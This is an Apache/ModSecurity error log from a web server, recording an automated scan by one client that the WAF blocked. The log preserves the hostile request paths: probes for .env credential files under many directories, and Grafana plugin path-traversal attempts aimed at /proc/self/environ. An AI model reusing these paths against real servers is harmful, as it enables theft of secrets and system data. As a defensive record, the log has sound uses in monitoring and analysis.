[Mon Oct 26 02:31:16.406363 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztBsFUPwtLAmxgObf3QAAABo"]
[Mon Oct 26 02:31:16.728213 2026] [core:error] [pid 2963566:tid 2963566] [client 34.153.219.8:39696] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 02:31:16.829797 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/services/.env"] [unique_id "at7ztKy4l0fHhEjHUwfK-AAAAAo"]
[Mon Oct 26 02:31:16.830037 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/services/.env"] [unique_id "at7ztKy4l0fHhEjHUwfK-AAAAAo"]
[Mon Oct 26 02:31:16.830752 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztKy4l0fHhEjHUwfK-AAAAAo"]
[Mon Oct 26 02:31:16.844300 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/packages/.env"] [unique_id "at7ztKflAYQKhf1b3nSAFgAAAAA"]
[Mon Oct 26 02:31:16.844525 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/packages/.env"] [unique_id "at7ztKflAYQKhf1b3nSAFgAAAAA"]
[Mon Oct 26 02:31:16.845220 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztKflAYQKhf1b3nSAFgAAAAA"]
[Mon Oct 26 02:31:17.030940 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:39832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/infra/.env"] [unique_id "at7ztcXfkN7WrB_bUyLhPwAAABs"]
[Mon Oct 26 02:31:17.031201 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:39832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/infra/.env"] [unique_id "at7ztcXfkN7WrB_bUyLhPwAAABs"]
[Mon Oct 26 02:31:17.031922 2026] [security2:error] [pid 2984450:tid 2984450] [client 34.153.219.8:39832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztcXfkN7WrB_bUyLhPwAAABs"]
[Mon Oct 26 02:31:17.147583 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39812] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/api/v1/.env"] [unique_id "at7ztW71mB7d7Sol4w_LBwAAAA4"]
[Mon Oct 26 02:31:17.147834 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/api/v1/.env"] [unique_id "at7ztW71mB7d7Sol4w_LBwAAAA4"]
[Mon Oct 26 02:31:17.148629 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:39812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztW71mB7d7Sol4w_LBwAAAA4"]
[Mon Oct 26 02:31:17.159483 2026] [core:error] [pid 2984174:tid 2984174] [client 34.153.219.8:39752] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 02:31:17.242424 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:39764] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/scripts/.env"] [unique_id "at7ztSnCzUA9GV1ixDKaGwAAABw"]
[Mon Oct 26 02:31:17.242703 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:39764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/scripts/.env"] [unique_id "at7ztSnCzUA9GV1ixDKaGwAAABw"]
[Mon Oct 26 02:31:17.243665 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:39764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztSnCzUA9GV1ixDKaGwAAABw"]
[Mon Oct 26 02:31:17.384068 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/project/.env"] [unique_id "at7ztT4ZhFTh4Z0ZnDXv0wAAABQ"]
[Mon Oct 26 02:31:17.384362 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/project/.env"] [unique_id "at7ztT4ZhFTh4Z0ZnDXv0wAAABQ"]
[Mon Oct 26 02:31:17.385145 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:39824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztT4ZhFTh4Z0ZnDXv0wAAABQ"]
[Mon Oct 26 02:31:17.472237 2026] [security2:error] [pid 2984461:tid 2984461] [client 34.153.219.8:39840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/deploy/.env"] [unique_id "at7ztWDTfztFI7WN1Bq85wAAAB4"]
[Mon Oct 26 02:31:17.489951 2026] [security2:error] [pid 2984461:tid 2984461] [client 34.153.219.8:39840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/deploy/.env"] [unique_id "at7ztWDTfztFI7WN1Bq85wAAAB4"]
[Mon Oct 26 02:31:17.490861 2026] [security2:error] [pid 2984461:tid 2984461] [client 34.153.219.8:39840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztWDTfztFI7WN1Bq85wAAAB4"]
[Mon Oct 26 02:31:17.536727 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:39860] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/workspace/.env"] [unique_id "at7ztcmcdBtWcg_eZyeaYQAAAAY"]
[Mon Oct 26 02:31:17.537067 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:39860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/workspace/.env"] [unique_id "at7ztcmcdBtWcg_eZyeaYQAAAAY"]
[Mon Oct 26 02:31:17.537871 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:39860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztcmcdBtWcg_eZyeaYQAAAAY"]
[Mon Oct 26 02:31:17.552655 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:39872] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/agents/.env"] [unique_id "at7ztVXeakVq8o0GRFxwlgAAABY"]
[Mon Oct 26 02:31:17.566653 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:39872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/agents/.env"] [unique_id "at7ztVXeakVq8o0GRFxwlgAAABY"]
[Mon Oct 26 02:31:17.567606 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:39872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztVXeakVq8o0GRFxwlgAAABY"]
[Mon Oct 26 02:31:17.598099 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/chatbot/.env"] [unique_id "at7ztRsFUPwtLAmxgObf3gAAABo"]
[Mon Oct 26 02:31:17.598361 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/chatbot/.env"] [unique_id "at7ztRsFUPwtLAmxgObf3gAAABo"]
[Mon Oct 26 02:31:17.599185 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:39892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztRsFUPwtLAmxgObf3gAAABo"]
[Mon Oct 26 02:31:17.600353 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/bot/.env"] [unique_id "at7ztUWLg2gbRhOJIF012QAAABE"]
[Mon Oct 26 02:31:17.600493 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/bot/.env"] [unique_id "at7ztUWLg2gbRhOJIF012QAAABE"]
[Mon Oct 26 02:31:17.601187 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:39900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztUWLg2gbRhOJIF012QAAABE"]
[Mon Oct 26 02:31:17.685503 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/agent/.env"] [unique_id "at7ztYaZ67QFuw3jdpPd6QAAAA8"]
[Mon Oct 26 02:31:17.685739 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/agent/.env"] [unique_id "at7ztYaZ67QFuw3jdpPd6QAAAA8"]
[Mon Oct 26 02:31:17.686479 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztYaZ67QFuw3jdpPd6QAAAA8"]
[Mon Oct 26 02:31:17.806285 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:39854] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ai/.env"] [unique_id "at7ztSmvL3FYV1A8W3js7AAAAA0"]
[Mon Oct 26 02:31:17.806525 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:39854] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ai/.env"] [unique_id "at7ztSmvL3FYV1A8W3js7AAAAA0"]
